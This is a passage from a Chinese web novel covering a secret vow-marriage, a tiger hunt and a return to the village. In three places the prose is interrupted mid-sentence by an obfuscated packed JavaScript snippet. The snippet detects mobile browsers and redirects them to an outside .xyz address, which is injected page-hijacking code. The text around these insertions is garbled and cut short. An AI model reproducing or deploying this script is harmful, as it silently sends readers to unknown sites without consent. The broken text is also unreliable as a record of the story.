燕谨还想再说点什么,耳中听见另一道脚步声响起,似乎有人走过来了,正站在门后看她。 “……是乌夫人,乌霜雪的女儿?” 燕谨一愣,点头应是。 令人牙酸的“吱呀”声响起,木门被拉开一道缝,燕谨赶忙进去。 进了屋,里面站着一老一少两个女人,老的那个仔细看了她一会儿,朝年轻女人点了点头,年轻女人便往后头去了。 燕谨双手作揖拜下去,语气真诚:“深谢夫人。” 老妇人摆摆手,将她扶起来,“乌夫人去年到镇子上,曾提醒我齐王占领云城之事,才使得家中几人俱得保全,好孩子,不必道谢。” 又是因为乌霜雪的庇佑,燕谨眼眶一热,低下头去。 老妇人见她一个半大孩子孤身出来,便也猜到乌霜雪或许遭遇不幸,长长叹了口气,伸手拍了拍燕谨的肩膀。 “你来得巧,我这两日便打算将铺子封死,若日后还要再来买盐,便到后头村子里去寻‘魏家’吧。” 燕谨应下,在等待年轻女人取盐的间隙,问到外头的情形。 “多的我也不知,齐王还在云城,他底下那些兵将隔三差五地跑出来滋事,只是我们这偏远,离云城距离远,过来的人少。孩子,你若找着地方落脚,记得避着那些人。” 多的她没有问,燕谨自然也不会说。 乱世凶年,能得这句叮咛已经是陌生人所能给予的最大善意。 拿了盐,在老妇人百般推拒之下,燕谨还是将银子给了出去,骑上飞云,朝着家的方向奔去。 33. 成亲 到山脚时天色已经黑了,燕谨没有摸黑骑马上山,而是在附近找了颗树爬上去休息。 奔波了两日,前一晚又没休息好,燕谨躺上去时眉头紧皱,望着一片漆黑的林子付之一叹,还是放弃了连夜上山的想法。 时辰还早,戌时将将过半,燕谨有些睡不着。 她原本想在镇上买两身衣裳,乌轻轻和她都正是长身体的时候,不过大半年,原先的衣服就已经有些短了。但现在这年景,连买布的地方都没看见,更别说是买成衣了。 先前他们的衣服若有什么需要改动的地方,都是乌霜雪来改。说也奇怪,乌霜雪竟没从要她学过这些——针线女红、膳食烹饪。 反倒在读书与习武方面对她看得很紧。 她下厨的手艺俱是在上山之后与乌轻轻一起磕磕绊绊摸索出来的,乌轻轻原先连饼都不会烙,现下做点餐食,滋味竟比她还好些…… 放空大脑,想了些有的没的,燕谨终于感到脑中有了些困意。 忍着腰背处坚硬的树枝的戳弄,她阖上眼,准备酝酿睡意。 月上柳梢,更深夜阑。 猫头鹰的“咕咕”啼叫与蝙蝠振翅的声响伴随着蛙鸣声一同被风带入燕谨的耳中,她睡得很不安慰,飞云站在树底下嚼弄野草,草茎被牙齿撕裂的声响被清晰的捕捉。 燕谨皱着眉头,耳尖微动,倏地睁眼。 她猛然坐起身体,凝神去听。 动物的响动声、飞云的咀嚼声、林中的风声……都不对! 燕谨立马翻身下树,动作迅速的解开飞云缠绕在树枝上的缰绳,骑着它往林子深处去。 她没有拿火折子,凭借着自身对青山的熟悉与昏暗微弱的月色行进了几百米。确认从外面完全看不到此处之后,燕谨将飞云的绳子缠在一颗树上,扭身朝方才躺着的位置奔去。 继续爬上那棵树,借着树叶的遮挡,燕谨的身形微不可查。 她屏气凝神,紧盯着湾水村的方向。 起初只是一个小黑点,然后越来越大,落到她耳中的声响也越发清晰。 这不是一个人,不是一群人,而是一支军队。 打头的是身穿甲胄的骑兵,领头人手里举着一个高高扬起的旗帜,上边写着“齐”。 燕谨死死盯着这个“齐”字,目光往后延伸,想找出那个“齐王”在何处。 厚重如鼓点的脚步与马蹄震击地面,密集急促地在月光的照耀下行进,燕谨的心越跳越快,齐王的队伍离她最近时不过百米。 队伍行进过三分之一时,她看见了齐王的马车。 实在是太好认,拉车的是四匹汗血宝马,连马身上都披着绣金的鞍鞯,隔着这么远,反射的月光都能直入燕谨的眼底。 鎏金打造的车辕装饰,顶端雕着瑞兽,连车轮的辐条都打磨至光滑如玉的模样,奢靡的让燕谨发笑。 这必然是齐王的车架。 只可惜,齐王此时想必正在车中酣睡,亦或是享乐,她没有机会观之面庞。 没关系,总会有那一天。 齐王与她的仇,不算少。 燕谨被夜色与树木遮掩,直到齐王的部队消失在远处,她才下树活动自己已然僵硬的身躯。 她没再上树躺着,还有一个多时辰就要天亮了,索性继续赶路。 林中还是很黑,燕谨骑得很慢,脑中思考着齐王部队移动的原因。 首先,必然不是溃逃。虽在深夜行进,但所有人都不见慌乱,齐王更是有心在马车上消遣。 也不像是要举兵进攻,云城再北上,尤其是这个方向,前方已经没有什么大型城池,齐王没理由放弃云城这个大本营,带着所有家当打过去。 燕谨有些想不通,齐王或许是因为某种特殊原因而不得不搬离云城? 而这原因又不至于让他太过慌乱,因为只要避开,便可保无虞? —— 躺在马车中的齐王却不像她猜想的那般享乐其中。 他阴沉着一张脸,尽管一左一右两位美婢服侍,还是无法释怀心中郁气。 “什么狗屁的复辟燕国,燕王昏庸,他生的儿子能是什么好皇帝?”齐王冲着不远处的军师抱怨,“竟也被燕诀扯起来个队伍,你说那帮人是不是疯了,跟着燕诀混?” 穿着宽袍大袖的军师端坐一旁,他蓄着长髯,言谈间总是顺手去抚:“燕王再不好,终究正统……吾王不必忧虑,咱们只是暂时避一避,燕诀此次不知为何带着人马往云城来,但他到底是要打去国都的,不会久留。” “他不过带了五万兵马,我们有六万人……何至于避开?” 马车里的另外两名将官也附和道:“是啊,燕诀小儿不过是打了几场胜仗,咱们人多,未必不能一战。” 军师眯起眼睛,一副高深莫测的样子:“燕诀有二十万兵马,十五万留守斜柳郡,只带五万兵马便敢北上,若不是有所依仗,他敢么?” 齐王心情不快,觉得自己窝囊。但他行兵打仗一向听从军师的安排,若不是军师鼎力相助,他也不会扯起六万大军,又占了云城。 “罢了,本王相信军师,你们也不必再议论了。” ——前燕国三皇子燕诀,年二十三,燕国国破时年仅十七,当时据传已经在国都被破时身死道消,但过了不到两年,却离奇地在斜柳郡中的一个小城出现。 四年时间,他招兵买马,占据斜柳郡并周边三郡一城,剑指国都。 不知为何,在这关键时刻,竟然带了五万人前往偏僻的云城。 已经离云城很远的燕谨不知道这些事,她甚至不知道有一个名为“燕诀”的皇子起事了。 原本只需要大半日便可到山中,但天黑难走,林中情况多变,加之燕谨精神实在是差,第三天下午日暮时分才赶回家中。 乌轻轻坐在家门口劈柴,听见动静,警惕地注视着。 见是燕谨,他才松了口气,赶紧迎上去:“你回来啦!饿不饿,我做了蘑菇兔肉汤,山下情况怎么样?没遇到什么危险吧?你的袖子怎么这么黑……” 数着今天是第三天,乌轻轻一早就把东西炖上了,不知道燕谨具体什么时辰回来,免得没有东西吃。 燕谨没应声,将手中飞云的缰绳递给乌轻轻。 直到看见这个小房子,看见乌轻轻,她紧绷着的身体才终于放松下来,疲累与酸痛如潮水般蔓延上来。 进厨房胡乱灌了几口汤,燕谨只来得及脱去外衣,便倒在床上昏睡过去。 乌轻轻心疼坏了,他知道下山一趟不容易,燕谨必定是劳累了三日都没有休息。 他将飞云背上搭着的东西一一收拾好,又给燕谨擦了脸和手,将她的鞋袜脱去,放在热水里好好泡了一会儿。 燕谨迷糊间睁开眼看见是他,头一歪就睡死了,任由乌轻轻折腾。 等到燕谨终于从黑沉的睡眠中清醒的时候,已经是第二天的中午了。 她睁眼的时候感觉眼皮似有千斤,酸涩沉重。 缓了好一会儿,她看着屋顶的石壁,注意力被外面的动静吸引。 乌轻轻正在飞云的棚子里面给它刷毛,飞云出去了几天浑身黑黄得不像样,乌轻轻吭哧吭哧卖力给它刷毛,一边小声和它聊天。 “……你们下山干什么去了?你们俩怎么都脏成这样了,得亏我不嫌弃你们,看看,我的抹布都黑了……” 燕谨听了一会儿,起身下床,准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16192406|180272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备进厨房烧水洗漱。 她的外衣已经被拿走了,摸了摸自己怀中,那个从老宅带回来的小包袱还在,燕谨若有所思地站在原地思考了一会儿,推门出去。 乌轻轻被木门的声响吸引,抬头看见她出来,绽放出一个大大的笑容,随后带着些自得对燕谨说:“要洗漱吧?厨房有热水。” 他一副“我是不是猜得很准,很贴心”的表情看着燕谨,燕谨从善如流地夸赞:“轻轻,士别三日当刮目相待,你真棒。” 乌轻轻还没学到什么是“士别三日当刮目相待”,他听不懂这句文绉绉的话,但后面那句简单直白的夸赞他还是明白的。 心中美得冒泡,乌轻轻哼了一声,刷毛的力道越发大。 飞云被他擦得从鼻腔中喷出几股热气,马尾不住地甩在乌轻轻身上,忙着干活的人浑然不觉。 燕谨被他逗笑了,拿着衣服便去洗漱。 下午,她换了一身衣服去林子里猎了只山鸡,又抓了两条鱼,喊来乌轻轻,两个人紧锣密鼓地在厨房忙活起来。 乌轻轻有些不明所以,以为她是想给自己补一补身体,听话地在一旁打下手。 说是打下手,其实他倒比燕谨还要熟练顺手些。 太阳西沉时,熔金色的光晕透过门窗照进屋中,燕谨与乌轻轻坐在桌前,桌上摆着卖相还不错的四菜一汤。 在开动前,燕谨将怀中的东西拿出来。 乌轻轻忙了一下午,已经有些饿了,他刚想问燕谨能不能开吃了,注意力就被她拿出来的东西吸引了过去:“这是什么啊?也是菜吗?” 燕谨小心地将面上缠着的布条解开,一层又一层,直到露出一抹碧色。 “不是菜,是我的玉佩。” 乌轻轻将头凑过去细看,他喜欢石头,尤其是这样色泽均匀饱满、没有半点杂色的石头。 这是一枚竹节形状的玉佩,色如翡翠,莹润无瑕,仿佛含着一汪碧水。 燕谨怀恋地拿起来摸了摸,竹节底部刻着她的名字:谨。 “轻轻,还记得我之前说的话吗,等我回来,便跟你成亲。” 乌轻轻正欲伸手去摸的动作顿了顿,眼前一亮:“当然记得!” 他还以为得准备几天呢,不会吧,现在他们俩就要成亲了吗。 这样想,乌轻轻自然也这样问了出来。 燕谨将手中的竹节玉佩拿起来,从怀中摸出一条红绳,穿过玉佩顶部的口子,在乌轻轻茫然的目光中将玉佩系在他脖颈上。 “不许摘下来,”她看着挂在乌轻轻胸.前的玉佩,默了一会儿,“现在就成亲。” 乌轻轻虽然一直喊着要成亲,但其实并不知道如何成亲,怎么样才算是成亲了。 被燕谨拉出门的时候,他还有点懵。 燕谨拉着他跪在地上,对着太阳西沉的位置,低声说:“我念一句,你念一句。” ——“今日天地为证,燕谨与乌轻轻二人结为夫妻,往后风雨同担,岁岁相伴。” “今日天地为证,燕谨与乌轻轻二人结为夫妻,往后风雨同担,岁岁相伴。” ——“长辈虽不在侧,燕谨与乌轻轻亦记生养之恩,存孝念、守真心。此后我俩互为依靠,赤诚相待。” “长辈虽不在侧,燕谨与乌轻轻亦记生养之恩,存孝念、守真心。此后我俩互为依靠,赤诚相待。” ——“今日结为夫妻,从此祸福旦夕与共,永不分离。” “今日结为夫妻,从此祸福旦夕与共,永不分离。” 熔金的光晕是礼炮、林中的树木与野花是宾客、山间的风声是亲友的恭喜。 他们在天地的见证下成为了彼此密不可分的一部分。 34. 五年 成亲之后的日子与先前并没有什么不同。 他们俩仍然在木头搭建的房子里面朝暮相伴,晚上睡前稍一侧头就能看见对方的身影,随意说些什么便安然入睡,直到第二日太阳的升起。 乌轻轻再也没有在睡梦中惊醒,他原本仿佛是个底部缺了一个小口的缸,不论燕谨怎么从外倒水,看不见的地方却源源不断的漏水出去。 他们成亲这件事仿佛将乌轻轻缺了的小口补起来了,燕谨给他的一切安心,都能安安稳稳地被揣在怀里。 骐骥过隙,日迈月征,五年时间匆匆而过。 燕谨蹲在一颗高耸入云的古树上方,眼神锐利地盯着底下已经是强弩之末的猎物。 她左手拿着弓,箭袋中的箭矢只剩最后一支,她动作极轻地伸手绕到背后拿出这最后一支箭,搭在弓上,屏气凝神。 左眼微闭,发力的小臂青筋鼓起,燕谨右手指尖一松,离弦的箭直冲猎物的眼眶。 “吭哧”——箭身穿过血肉的声音让燕谨长舒一口气。 她与这头虎已经在此鏖战了两日,这是她最后一支箭,如若此击还是不中,她只能近身肉搏,风险太大。 又等了一会儿,猎物倒地,燕谨动作轻盈地爬下树,掏出随身携带的匕首给它剥皮。 血腥气很快就会蔓延出去,她没有时间久留。 已经二十一岁的燕谨比起前几年长开了许多,十六岁的她身形略显单薄,眉眼间瞧着还有些稚气,任谁看都知道她还是个孩子。 现在的燕谨只着粗布麻衣,浑身上下打满补丁,因为这两天的缠斗还有不少脏污;微卷的头发只用一根木簪挽着,两缕头发掉在眼前,丝毫不影响燕谨干脆利索的动作。 面色冷淡的女人有着一双漆黑的眼眸,眉不点而黑,唇不点而艳,明丽鲜妍的相貌却因为那双冷静摄人的眼睛变得让人不敢直视起来。 一炷香的时间,偌大的老虎便被剥下了身上的皮毛。 燕谨毫无留恋,去不远处的溪流洗净了自己皮肤上沾着的血渍之后,拖着黑黄相间的皮子往家中走去。 这处地方离他们的家不远也不近,若不是考虑到留着它会有危害到自家的风险,燕谨也不会稍作考虑就设计伏杀。 甚至没来得及跟乌轻轻说一声,她原只是出来打个猎,上午出门,下午就该回去了。 如此耽误了两天,不知他得急成什么样。 想到这儿,燕谨脚步加快两分。 只是还没等她走到家,风中便传来了若隐若现的哭嚎声。 “……小谨……在哪……小谨……姐……你在哪里……” 乌轻轻手里拿着一把剑,两眼红肿,背上挎着一个大大的包袱,独自在山中行走。 他在心中劝自己冷静一点,但哭了两个晚上的眼睛很明显说明了他做不到。 已经是第三天了,燕谨除了下山之外,从不会离开家这么久。 第一晚他只是焦虑,第二晚便是害怕,到了第三天,已经开始往最坏的结果想了。 “小谨!小谨!你在哪里!我来找你了呜呜,姐姐!你在哪里……” 他往燕谨平日打猎的方向走,抬起手抹了抹不住往下流的眼泪,心中暗想,就算是……就算是真的出事了,他们俩也得死在一块儿。 燕谨听见乌轻轻的哭嚎声,闭了闭眼,将一路带着的虎皮扔下,朝着声音传来的方向跑去。 她的动作很快,脚下轻点两步便是十几米的距离,很快就看到了乌轻轻的身影。 乌轻轻正在抹眼泪,只不过一个晃眼,再抬头就看见燕谨朝他跑过来。 他“哇”的一声将手中东西一丢,跑了两步,狠狠扑到燕谨怀里,搂着她哭。 燕谨被他跑动的惯性带得往后一仰,但还是稳稳立在原地,双手抚上他的背部,任由乌轻轻将头埋在自己颈窝处流泪。 十七岁的乌轻轻身量已经比她高了一点点,但每次拥抱都像是小时候那样,非要整个人都被她抱住才可以。 “……你跑哪去了呜呜,怎么不回家,我好担心你……你这个坏家伙,是不是要把我丢掉呜呜呜……” 燕谨手指蜷了蜷,最终还是放松力道,在他背上轻抚。 “遇见了一头虎,耽误了些时间,”她嗅着乌轻轻身上皂荚的味道,神情舒缓了许多,“不会丢掉你。” 乌轻轻吓了一跳,连忙从她怀中跳出来,扯过燕谨上下打量着,“你有没有受伤?!有没有哪里受伤了?!” 燕谨身上有些水汽,衣服有些脏,但都好好穿在身上,没有看见破口。 乌轻轻兀自翻看着,绕着她转了好几圈,燕谨伸手把人拉住,看着他慌乱的眼眸摇头:“我没事,给你带回来一张虎皮,过些日子天凉了盖。” “要什么虎皮!你遇见老虎,你,你怎么不知道跑,万一受伤了怎么办,你要是有事我怎么办……” 乌轻轻没被哄住,光是想着燕谨跟凶猛的老虎缠斗,他就心慌的不得了,万一燕谨受伤了怎么办,万一燕谨出事了怎么办…… “好了,我心中有数,若是没有把握,定会回家带着你逃的,”燕谨伸手擦过他的脸颊,湿意弥漫上指尖,“你帮我把它带回家吧,我拿不动了。” 不出她所料,乌轻轻很快就被转移了注意力。 他捡起被扔在地上的剑,紧紧拉着燕谨的手,跟着她朝着丢掉虎皮的地方走过去。 一路上絮絮叨叨的。 “你饿不饿,我带了鱼干和大饼,要不要喝水?累不累?回家我给你烧水,你回去洗漱一下就睡觉,我本来想带着飞云一起出来,又怕把它也搞丢了,多大的老虎?你是怎么杀死它的……” 一个问题借着一个问题,一个撒娇接着一个撒娇,每句话都被燕谨一一回应。 “不饿。喝一点。有点累。好,回家就休息。轻轻很乖。等你见着就知道多大了。弓箭……” 一如过去的五年。 他们一直是如此相处,自然到察觉不出身边响起的是另外一个人的呼吸。 待见到那张血淋淋的偌大虎皮,乌轻轻真被它的大小吓了一跳。 他看看地上的虎皮,又看看一脸淡定的燕谨,将所有后怕都藏在心底, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200013|180272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准备等燕谨休息好了之后再发作。 乌轻轻吭哧吭哧将虎皮抬到身上,燕谨接过他的剑和背上的包袱,一掂才知道,里面的东西还真不少,光是药瓶就塞了不少。 两人一同朝家走去。 到家后,虎皮被搁置在厨房的角落,乌轻轻顾不得自己身上的血污,赶紧烧水给燕谨洗漱。 燕谨本想说自己去溪边冲一冲就可以了,但看着乌轻轻急躁的动作,还是咽了下去,在厨房等着。 连续三日的疲累与两日的缠斗不是假的,燕谨泡在浴桶里时,乏力感与困意渐渐涌上来。 她只泡了一会儿,将发间的血污洗去,草草擦了一下身上的水渍,穿好衣服便躺在床上昏昏欲睡。 乌轻轻将自己身上也打理干净之后才进来,燕谨彼时正趴在床上,一侧脸颊压着枕头呼吸绵长。 这张床对现在的她来说有些小了,右手耷拉着垂在地上,一只脚也悬在空中。 又没擦头发,乌轻轻眼神不快地盯着她潮湿的脑袋。 到底还是没舍得把人喊醒,他拿过一块干燥的布巾,在燕谨头上缓慢擦拭着。 燕谨掀开眼皮看了一眼,随后继续睡死过去。 期间还听从乌轻轻的指挥,左右转头,方便他给自己擦头发。 燕谨的头发有些自来卷,尤其是湿了之后,如果不好好打理,很容易缠成一团。这些年下来乌轻轻已经对这份工作得心应手,他对燕谨头发的了解比之她自己更甚。 擦到不见水汽之后,乌轻轻将她胡乱睡着的身体摆正,坐在床边看了一会,进厨房开始准备晚饭。 先前他们二人还是轮流做饭,或者互相配合,但自从乌轻轻展露这方面的天赋以及燕谨回回都毫无进步之后,做饭这件事就落到了乌轻轻的头上。 燕谨睡得昏天黑地,后来是被乌轻轻喊醒的,她迷蒙地睁开眼,听见乌轻轻喊她去吃点东西再接着睡觉。 腹中后知后觉的饥饿也蔓延上来提醒她。 虽然身体仍然疲累,大脑也还在胀痛,但燕谨还是撑起身体起床吃饭。 “轻轻,辛苦你了。”她嗓音沙哑地开口,坐在桌前。 “哼,我当然辛苦了,”乌轻轻冷哼一声,手下一边给她拿碗筷,“你自己在外头怎知我在家里的辛苦。” 燕谨这些年对付乌轻轻时不时的小脾气已经很有一套了,她微微一笑,夸赞道:“若不是你出去寻我,我一个人怎么拿得回来虎皮?多亏有轻轻,没让我的功夫白费。” 被哄着的乌轻轻嘴角情不自禁地翘起,随后又十分艰难地摁下去,强忍着心底那股雀跃,继续阴阳怪气:“你一个人都能杀死那头老虎,怎么会拿不回来虎皮呢,小谨姐姐。” 燕谨面不改色,给乌轻轻盛了一碗汤,“在外面吃不好睡不好,一直想念轻轻做的饭。” 本就是硬撑起来的冷色,乌轻轻扑哧一笑便破了功,喜笑颜开地给燕谨碗中夹菜。 夜幕降临,屋子里温暖的烛火将二人与阴暗的山林隔开。 离群索居的岁月中,有彼此相伴,倒也不觉孤寂。 35. 下山 燕谨休息了一日之后便着手鞣制那张虎皮。 她原也不会这门手艺,上次听武师傅讲起这些门道已经是十几年前的事情了,只隐约记得一点。 但这些年在山中抓了不少兔子,因为冬日严寒,她便研究起了鞣制兔毛做护膝。 不知道让多少只兔子死不瞑目之后,总算研究出门道来。 等到真正将虎皮制成被子,山中也已经阴凉了下来。 燕谨抚摸着手底下厚实暖和的动物皮毛,不自觉地用手指在上面绕圈,思考着一件事。 往年快到秋季时,她总会下山一趟置办物资,顺便探听情况。今年时间差不多了,她这几日就打算下山一趟,但她在考虑要不要带着乌轻轻一道去。 轻轻已经在山中待了五年多不曾走动,燕谨有些担心,日日只对着自己一个人会不会让轻轻不知道如何与其他人沟通了。 他们不会在山中待一辈子,以后总得接触生人。 思虑再三,燕谨将鞣制好的虎皮收起来,放在箱子中,朝着门外走去。 乌轻轻正在不远的小溪里面抓鱼,他喜欢玩水,又喜欢石头,这项工作便在他的强烈要求下落到了他头上。 燕谨时不时去盯过几次,见他虽然贪玩但还有分寸,而且确实能抓上来鱼,便随他去了。 溪水潺潺,乌轻轻将裤脚挽起,站在阴凉的溪水中摸石头。 听见脚步声,他抬头看过去,一咧嘴笑开了。 “你来干嘛,监工呀?还以为你已经放心我了呢。” 燕谨静静看着他,不说话。 乌轻轻的头发有些湿了,不知是不是抓鱼的时候被甩动的鱼尾溅上去的,被他浑不在意地往后一捋,露出饱满的额头。一年四季在山中风吹日晒,他裸露在外的皮肤不算白皙,呈现出健康的小麦色,但挽起袖子之后,平时不见光的地方却白的晃眼,有一道非常明显的肤色分界线。 他和小时候的区别不大,眼睛圆圆的很爱笑,是十分讨人喜欢的可亲相貌,嗓音也清亮自然,是活力满满的少年音。不像燕谨的哥哥燕诀,像乌轻轻这么大的时候嗓音已经低沉了许多。 乌轻轻似乎一直没怎么变过,不论是长相、声音还是性格。 燕谨看了一会儿,乌轻轻见她没搭理自己,自顾自弯下腰去继续找藏在石缝中的螺蛳。 “轻轻,明天我准备下山了。” 乌轻轻动作顿住,直起身看向燕谨:“……本大厨会给你准备干粮的,早去早回。” “你想和我一起去吗?”燕谨问他。 如果他愿意下山,那么就一起去。 “想!”站在溪流中的乌轻轻极快回答,但很快,他低下眉眼,有些不自在地追问:“会给你添麻烦吗?” 燕谨摇头,“不会的,去年下山时听说云城现在的将领管理极严,齐王也准备从飞雪城撤走了。” 她每年下山去的地方不远,左不过就是去小镇上打探一二,小镇位置偏,得知消息总是比较晚,去年既然信誓旦旦说齐王准备撤走,想必如今山下安生许多。 飞雪城便是齐王的部队那一夜行进的终点,不知为何他在飞雪城待了五年之久,那地方严寒,条件艰苦,但从未听说他回云城。 乌轻轻眼前一亮,立马应下来:“那我和你一起去!” 说罢,他螺蛳也不摸了,快走两步上了岸,拎着自己的鞋子就要往家去。 燕谨呵住他:“鞋子穿好,急什么。” 乌轻轻满脑子明天就要下山了,他五年多没有下山,心中冒出股莫名的紧张来,只想回家收拾东西。 “脚上脏的,不穿、”他话还没说完,便见燕谨神情不虞,赶在她再次开口前补充一句,“这个鞋子脏了我可没有别的鞋子穿出门了,哎呀快点走,别杵在这了。” 不等燕谨反应,他赶紧朝家里跑过去。 燕谨拧着眉毛跟在他身后,到底没有追上去逼着他穿鞋。 到家后,乌轻轻将鞋子随手一扔,想着自己先前给燕谨准备的包袱,照样置办起来。 燕谨进门时便看他赤着脚踩在石子地上,两人的床上各摊着一个大大的包袱,乌轻轻嘴里念念有词的嘟囔着什么,往里放东西。 她走过去,语气不快:“还不穿上?” 乌轻轻听出她有些生气了,不敢再混过去,老老实实擦净两只脚,趿拉上鞋子。 “怎么什么都管我……到底谁是相公啊……”他小声抱怨。 燕谨耳力过人,她语气平静地回道:“你若再说一句,便将手伸过来。” 她对乌轻轻这两下子极为了解,乌轻轻不占理且不服气的时候便会将他们之间的“夫妻关系”拿出来念叨。他对这事只有一个非常笼统的概念,认知还浅薄的停留在小时候别人唬他说女子要听相公的话上。 只不过当时他被打了便知道自己错了,这些年相处下来,也不觉得夫妻之间就是那样的。 但当他实在没什么地方能赢燕谨一头时,便会嘟嘟囔囔地念叨这事两句,像是给自己鼓劲。 听见燕谨的话,乌轻轻悻悻低头,力气很大地将燕谨的衣服丢在床上。 燕谨轻飘飘地瞥过去一眼,他便乖乖将衣服拿起来叠好,整齐放置。 见他听话了,燕谨才转过头去收拾其他东西。 “此次下山不知情形如何,三日不一定能回来,将家中东西都归置好,重要的东西随身携带。” “啊——那我,我的小笼子,我的石头,还有我的竹蜻蜓……” 燕谨见他手忙脚乱地要将所有玩具一股脑装起来打包,无奈出声制止:“这些都不用带。” 乌轻轻两眼放空地看她。 “将你的衣物与剑都带好即可。”燕谨发出命令。 这几年乌轻轻多少跟她学了几个招式,但他自小对习武不感兴趣,燕谨也没有勉强他,只习了点花架子,自保都难。 “可这些都是很重要的东西……”乌轻轻有些舍不得将它们又放回去,拿在手中眼巴巴地看向燕谨。 “石头去摸新的,其他的我会给你再做。” 燕谨无奈极了,不知是不是常年在山中没接触过什么生人的缘故,乌轻轻有时简直天真的不像话。 “说不定几日便回来了,带那么多做什么?飞云老了,背不动那么多东西。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“休息一会儿,到了我喊你。” 乌轻轻没有回答,靠在燕谨肩上的脑袋依恋地蹭了一下,搂着她腰身的双手紧了些。 开朗但爱哭,好奇但胆小,构成了如此复杂又纯粹的一个乌轻轻。 燕谨将一只手搭在他交叠的双手上,稳稳握住。 上回她下山时,湾水村已经有一两户人家回来了,她没有惊动人,只去乌霜雪墓前祭拜便走了。 那时她曾考虑过要不要带着乌轻轻回家来住,但齐王彼时还在不远的飞雪城未真正撤走,她对云城的情况也没有把握,再三思虑之后还是放弃了这个想法。 大约半个时辰左右,湾水村逐渐清晰。 燕谨眼底闪过一丝迷惑。 秋天到了,天黑的比以往早些,湾水村中闪烁着星星点点的亮光,映照在她眼中,无比明显。 什么情况?短短一年,村中人都回来了吗?亦或是有其他变故? 36. 惊闻 叫醒乌轻轻之后,两人商量一番,还是决定继续前进。 一来村子里的动静不像是有兵士或流寇作乱,更像是有人住了进去,二来燕谨也有把握能带着乌轻轻全身而退。 两人一马朝着湾水村行进,燕谨眼中的警惕之意不减,始终有一只手握着弓,乌轻轻也眉头紧皱,看得十分仔细。 但渐渐连饭菜香味也闻到了。 “……看起来不像是有坏人。”乌轻轻语气复杂。 更像是湾水村中的人因战乱而流落他乡之后又重回了故地。 甚至瞧着日子还比以前好些……以前这个时间,大部分人家里都是舍不得点灯的。 燕谨抿唇不语,并未放松半分,用眼睛在湾水村的四周探查。 乌轻轻见燕谨踌躇不前,低声问她:“小谨,咱们不直接进去吗?” “瞧着十分蹊跷,以前村中可有这么多人家舍得点灯?” 身后的人神色一黯,“我有些不记得了。” 燕谨指尖微动,半晌,还是继续行进。 “没事,进去看看便知。” 秋风萧瑟,打在燕谨身上,半点影响不到坐在身后的人。 快到村口之时,里面走出来一个人,手里还拿着一把镰刀。 光线昏暗,看不清是谁。那人见他们俩也是一惊,迅速将镰刀紧握在胸前,声音凛冽地发问:“你们是谁?” 燕谨也将手中的弓握紧,蓄势待发,口中却平静回道:“原先住在村子里的人。” 那男人听见这话,握着镰刀的手松了松,但还是没有放松警惕:“下马来,原先住在村里的人我都认识。” 两人十分顺从地翻身下马,实则都做好了准备。 燕谨牵着马往前走了两步,好叫双方可以看清对方的面庞。 “……叶谨?!”男人大惊失色地看着燕谨,又扭头去看落后她一步的另一人,更是吃惊,“乌轻轻??你们俩居然还活着??” 燕谨认出来这个男人是谁了——刘全。 在湾水村遇祸的前一天,她将人打了一顿。 乌轻轻盯着这个男人看了好几息才勉强认出来,是害他第一次挨燕谨打的人。 原本想像在山中与燕谨说话时那样,毫无顾忌地怼回去这句话,但开口之前,乌轻轻控制不住地想:这样说可以吗?刘全与他并不相熟,这么说会不会不太好?说什么才比较自然?这话合适吗? 错过那个时机之后,再想说点什么便不太自然,他垂下眼睛,依然站在燕谨身后不言不语。 燕谨察觉到了他的别扭,反手将弓挎在身后,牵着他往前走。 她眉眼平静地路过刘全,对刚刚那句话不以为意。 刘全嘴角一抽,怎么过去这么多年,叶谨还是这副瞧不起人的样子。他看这两个人灰头土脸的,身上穿的衣服破破烂烂打满补丁,不知心中脑补了些什么,赶忙把人迎进去。 “老村长一直想着你们俩,活着也不早点回来,何必在外边吃苦。” 燕谨这才分给他一个眼神,“回来便不用吃苦了吗?” 刘全没有发现她眼底的探究,很是自来熟地去拿乌轻轻手上的包袱,虽被拒绝也没在意,顺口回道:“自然不用,在外边是无根浮萍,官府可是根据户籍文书分粮食粮种的。” 说完,他又斜着眼睛看了两人一会儿,补充一句:“我看你们俩也不像是在外边混得很好的,怎么拖到现在才回来?” “有些事耽误了。” 燕谨不欲多说,刘全与他们以前就没有什么情分,用不着将这些年的事情向他解释一遍。 刘全看出燕谨的冷淡,本想跟乌轻轻搭话,但乌轻轻一直低着头走在燕谨身侧,不看他也不出声,他头一转,索性闭嘴。 进村之后,才发现与去年回来时相比确实截然不同。 原本荒凉老旧的村落变得生动起来,杂草枯树不见,门墙上的暗渍具被清理,家家户户院门敞着,从里头露出烟火气来,攘攘熙熙的声响灌进燕谨耳中。 不少人看见他们俩,当有人来问时,刘全都会热情地在一旁解释,不多久,便围了一圈人上来。 “霜雪家的?!我天,怎得才回来!” “可怜孩子,饿不饿?上婶婶家吃一口……” “小谨和轻轻都长这么大了,险些没认出来……” 